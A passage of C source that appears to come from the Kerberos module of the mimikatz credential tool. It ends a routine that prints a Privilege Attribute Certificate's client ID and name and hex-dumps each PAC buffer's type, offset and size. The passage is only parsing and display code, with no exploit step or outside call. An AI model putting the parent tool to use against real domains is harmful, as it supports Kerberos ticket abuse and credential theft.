kprintf(L"ClientId %016llx - ", pClientInfo->ClientId); kull_m_string_displayLocalFileTime(&pClientInfo->ClientId); kprintf(L"\n"); kprintf(L"Client (%hu, %.*s)\n", pClientInfo->NameLength, pClientInfo->NameLength / sizeof(WCHAR), pClientInfo->Name); break; default: kull_m_string_wprintf_hex(&pacType->Buffers[i], sizeof(PAC_INFO_BUFFER), 1); kprintf(L"\n"); kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize); kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1); kprintf(L"\n"); } kprintf(L"\n"); } LocalFree(pacType); } return STATUS_SUCCESS; }